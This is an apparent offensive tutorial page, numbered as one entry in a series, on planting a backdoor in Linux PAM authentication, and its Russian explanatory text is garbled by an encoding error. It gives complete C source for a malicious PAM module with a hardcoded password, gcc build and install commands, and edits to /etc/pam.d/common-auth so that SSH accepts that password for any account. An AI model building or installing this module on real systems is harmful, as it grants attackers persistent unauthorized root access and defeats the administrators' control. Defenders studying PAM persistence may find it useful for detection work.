12 - PAM backdoor
PAM - Pluggable Authentication Modules, Π³ΠΈΠ±ΠΊΠ°Ρ ΡΠΈΡΡΠ΅ΠΌΠ° Π΄Π»Ρ ΠΈΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΠΈ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ² Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ Π² UNIX-ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΡ ΡΠΈΡΡΠ΅ΠΌΠ°Ρ , ΠΏΡΠΈΠ²Π΅Ρ Sun Microsystems. Π Π΅ΡΡΡ ΠΎΠ½Π° ΠΏΠΎΡΡΠΈ Π²Π΅Π·Π΄Π΅ Π² Linux ΠΈ UNIX-ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΡ ΡΠΈΡΡΠ΅ΠΌΠ°Ρ . ΠΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ PAM ΠΎΡΡΡΠ΅ΡΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠ΅ΡΠ΅Π· ΡΠ°ΠΉΠ»Ρ, ΡΠ°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½Π½ΡΠ΅ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ /etc/pam.d/ Π’Π°ΠΌ ΠΆΠ΅ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΡΡΡΡ ΠΏΡΠ°Π²ΠΈΠ»Π° Π΄Π»Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΡΠ΅ΡΠ²ΠΈΡΠΎΠ² (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ: login, ssh, su, sudo). ΠΠ»ΡΡ PAM ΡΠΏΡΠ°Π²Π»ΡΠ΅Ρ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠ΅ΠΉ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ: auth, account, password, session). ΠΠ°ΠΌΠ΅ΡΠ°ΡΠ΅Π»ΡΠ½ΠΎ, Π΅ΡΠ»ΠΈ Ρ PAM ΡΠ°ΠΊΠΈΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ, ΡΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°ΡΡ ΡΠ²ΠΎΠΉ ΠΌΠΎΠ΄ΡΠ»Ρ PAM, Π² ΠΊΠΎΡΠΎΡΠΎΠΌ Π±ΡΠ΄Π΅Ρ Π·Π°Π₯Π°ΡΠ΄ΠΠΎΠ΄Π΅Π½ ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΡΠΉ root ΠΏΠ°ΡΠΎΠ»Ρ. Π’ΠΎ Π΅ΡΡΡ Ρ ΡΡΡΠ° Π±ΡΠ΄Π΅Ρ 2 ΠΏΠ°ΡΠΎΠ»Ρ, ΠΏΠ΅ΡΠ²ΡΠΉ - Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΡΠΉ ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½ΡΠΉ Π°Π΄ΠΌΠΈΠ½ΠΎΠΌ ΠΈ Π²ΡΠΎΡΠΎΠΉ - Π½Π°Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Ρ ΡΠ°Π½ΠΈΡΡΡ Π²ΠΎ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠΌ PAM ΠΌΠΎΠ΄ΡΠ»Π΅. ΠΠ΅ Π·Π°Π±ΡΠ΄ΡΡΠ΅ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ ΠΏΠ°ΠΊΠ΅ΡΡ Π² Π²Π°Ρ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ² Π΄Π»Ρ ΡΠ±ΠΎΡΠΊΠΈ ΠΌΠΎΠ΄ΡΠ»Ρ, Π΄Π»Ρ debian ΡΡΠΎ: libpam0g-dev
// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΌΠΎΠ΄ΡΠ»Ρ Π½Π° Π‘Π backdoor.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#define MYPASSWD "doom001"
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
return -1;
}
// ΠΠΎΠΌΠΏΠΈΠ»ΠΈΡΡΠ΅ΠΌ ΠΌΠΎΠ΄ΡΠ»Ρ ΠΈ ΠΏΠ΅ΡΠ΅Π½ΠΎΡΠΈΠΌ Π² ΠΏΠ°ΠΏΠΊΡ Ρ ΠΎΡΡΠ°Π»ΡΠ½ΡΠΌΠΈ ΠΌΠΎΠ΄ΡΠ»ΡΠΌΠΈ (ΠΏΡΡΠΈ ΠΌΠΎΠ³Ρ ΠΎΡΠ»ΠΈΡΠ°ΡΡΡΡ)
gcc -shared -fPIC -ldl -o backdoor.so backdoor.c
mv backdoor.so /lib/x86_64-linux-gnu/security/
// ΠΡΠ΅ΠΌ ΡΡΡΠΎΠΊΡ Π² /etc/pam.d/common-auth
auth [success=1 default=ignore] <ΠΈΠΌΡ ΠΌΠΎΠ΄ΡΠ»Ρ>
// ΠΈ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΠΌ Π΅Π΅ ΠΊ Π²ΠΈΠ΄Ρ:
auth sufficient <ΠΈΠΌΡ ΠΌΠΎΠ΄ΡΠ»Ρ>
// Π ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠΎΠΉ Π΄ΠΎΠΏΠΈΡΡΠ²Π°Π΅ΠΌ Π½Π°Ρ ΠΌΠΎΠ΄ΡΠ»Ρ
auth sufficient backdoor.so

Π’Π΅ΠΏΠ΅ΡΡ ΠΏΡΠΈ Π»ΠΎΠ³ΠΈΠ½Π΅ ΠΏΠΎ SSH Π½Π°Ρ Π±ΡΠ΄Π΅Ρ ΠΏΡΡΠΊΠ°ΡΡ Ρ ΠΏΠ°ΡΠΎΠ»Π΅ΠΌ doom001
Last updated